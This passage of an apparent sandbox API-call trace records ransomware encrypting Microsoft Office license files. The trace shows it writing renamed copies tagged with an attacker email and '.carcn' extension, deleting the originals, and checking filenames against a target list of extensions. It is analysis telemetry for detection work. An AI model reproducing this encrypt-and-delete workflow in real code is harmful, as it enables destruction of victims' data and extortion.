Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0284.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0284.117] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.117] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.119] GetLastError () returned 0x0 [0284.119] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1a49, lpOverlapped=0x0) returned 1 [0284.122] WriteFile (in: hFile=0x38c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1a50, lpOverlapped=0x0) returned 1 [0284.123] ReadFile (in: hFile=0x41c, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.123] WriteFile (in: hFile=0x38c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0284.123] SetEndOfFile (hFile=0x38c) returned 1 [0284.124] CloseHandle (hObject=0x38c) returned 1 [0284.124] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.124] SetEndOfFile (hFile=0x41c) returned 1 [0284.132] CloseHandle (hObject=0x41c) returned 1 [0284.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0284.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.274] lstrlenW (lpString=".doc") returned 4 [0284.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.274] lstrlenW (lpString=".docx") returned 5 [0284.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.274] lstrlenW (lpString=".pdf") returned 4 [0284.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.274] lstrlenW (lpString=".xls") returned 4 [0284.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString=".xlsx") returned 5 [0284.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.275] lstrlenW (lpString=".ppt") returned 4 [0284.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.275] lstrlenW (lpString=".zip") returned 4 [0284.275] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString=".rar") returned 4 [0284.275] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString=".bz2") returned 4 [0284.275] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString=".7z") returned 3 [0284.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.275] lstrlenW (lpString=".dbf") returned 4 [0284.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.275] lstrlenW (lpString=".1cd") returned 4 [0284.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.275] lstrlenW (lpString=".jpg") returned 4 [0284.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.276] lstrlenW (lpString=".doc") returned 4 [0284.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString=".docx") returned 5 [0284.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.276] lstrlenW (lpString=".pdf") returned 4 [0284.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString=".xls") returned 4 [0284.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString=".xlsx") returned 5 [0284.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.276] lstrlenW (lpString=".ppt") returned 4 [0284.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.276] lstrlenW (lpString=".zip") returned 4 [0284.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString=".rar") returned 4 [0284.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.276] lstrlenW (lpString=".bz2") returned 4 [0284.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.277] lstrlenW (lpString=".7z") returned 3 [0284.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.277] lstrlenW (lpString=".dbf") returned 4 [0284.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.277] lstrlenW (lpString=".1cd") returned 4 [0284.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0284.277] lstrlenW (lpString=".jpg") returned 4 [0284.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.277] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0284.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.278] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3211) returned 1 [0284.279] CloseHandle (hObject=0x370) returned 1 [0284.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0284.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.280] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.280] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0284.281] GetLastError () returned 0x0 [0284.281] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xc8b, lpOverlapped=0x0) returned 1 [0284.454] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xc90, lpOverlapped=0x0) returned 1 [0284.455] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.455] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x11c, lpOverlapped=0x0) returned 1 [0284.455] SetEndOfFile (hFile=0x4ac) returned 1 [0284.455] CloseHandle (hObject=0x4ac) returned 1 [0284.455] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.456] SetEndOfFile (hFile=0x370) returned 1 [0284.464] CloseHandle (hObject=0x370) returned 1 [0284.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0284.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.466] lstrlenW (lpString=".doc") returned 4 [0284.466] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".docx") returned 5 [0284.466] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.466] lstrlenW (lpString=".pdf") returned 4 [0284.466] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".xls") returned 4 [0284.466] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".xlsx") returned 5 [0284.466] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.466] lstrlenW (lpString=".ppt") returned 4 [0284.466] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.466] lstrlenW (lpString=".zip") returned 4 [0284.466] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".rar") returned 4 [0284.466] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".bz2") returned 4 [0284.466] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.466] lstrlenW (lpString=".7z") returned 3 [0284.466] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString=".dbf") returned 4 [0284.467] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString=".1cd") returned 4 [0284.467] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString=".jpg") returned 4 [0284.467] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString=".doc") returned 4 [0284.467] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString=".docx") returned 5 [0284.467] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.467] lstrlenW (lpString=".pdf") returned 4 [0284.467] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString=".xls") returned 4 [0284.467] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString=".xlsx") returned 5 [0284.467] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.467] lstrlenW (lpString=".ppt") returned 4 [0284.467] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.467] lstrlenW (lpString=".zip") returned 4 [0284.467] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.468] lstrlenW (lpString=".rar") returned 4 [0284.468] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.468] lstrlenW (lpString=".bz2") returned 4 [0284.468] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.468] lstrlenW (lpString=".7z") returned 3 [0284.468] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.468] lstrlenW (lpString=".dbf") returned 4 [0284.468] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.468] lstrlenW (lpString=".1cd") returned 4 [0284.468] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0284.468] lstrlenW (lpString=".jpg") returned 4 [0284.468] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.468] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.468] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0284.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.484] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3103) returned 1 [0284.484] CloseHandle (hObject=0x370) returned 1 [0284.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0284.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.485] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.485] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0284.486] GetLastError () returned 0x0 [0284.486] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xc1f, lpOverlapped=0x0) returned 1 [0284.503] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xc20, lpOverlapped=0x0) returned 1 [0284.504] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.504] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0284.504] SetEndOfFile (hFile=0x4ac) returned 1 [0284.505] CloseHandle (hObject=0x4ac) returned 1 [0284.505] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.505] SetEndOfFile (hFile=0x370) returned 1 [0284.507] CloseHandle (hObject=0x370) returned 1 [0284.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0284.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.509] lstrlenW (lpString=".doc") returned 4 [0284.509] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString=".docx") returned 5 [0284.509] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.509] lstrlenW (lpString=".pdf") returned 4 [0284.509] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString=".xls") returned 4 [0284.509] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString=".xlsx") returned 5 [0284.509] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.509] lstrlenW (lpString=".ppt") returned 4 [0284.509] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.509] lstrlenW (lpString=".zip") returned 4 [0284.509] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString=".rar") returned 4 [0284.509] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.509] lstrlenW (lpString=".bz2") returned 4 [0284.509] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString=".7z") returned 3 [0284.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.510] lstrlenW (lpString=".dbf") returned 4 [0284.510] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.510] lstrlenW (lpString=".1cd") returned 4 [0284.510] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.510] lstrlenW (lpString=".jpg") returned 4 [0284.510] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.510] lstrlenW (lpString=".doc") returned 4 [0284.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString=".docx") returned 5 [0284.510] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.510] lstrlenW (lpString=".pdf") returned 4 [0284.510] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString=".xls") returned 4 [0284.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.510] lstrlenW (lpString=".xlsx") returned 5 [0284.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.510] lstrlenW (lpString=".ppt") returned 4 [0284.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.511] lstrlenW (lpString=".zip") returned 4 [0284.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.511] lstrlenW (lpString=".rar") returned 4 [0284.511] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.511] lstrlenW (lpString=".bz2") returned 4 [0284.511] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.511] lstrlenW (lpString=".7z") returned 3 [0284.511] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.511] lstrlenW (lpString=".dbf") returned 4 [0284.512] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.512] lstrlenW (lpString=".1cd") returned 4 [0284.512] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0284.512] lstrlenW (lpString=".jpg") returned 4 [0284.512] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.512] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.512] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0284.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.514] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3380) returned 1 [0284.514] CloseHandle (hObject=0x370) returned 1 [0284.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0284.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 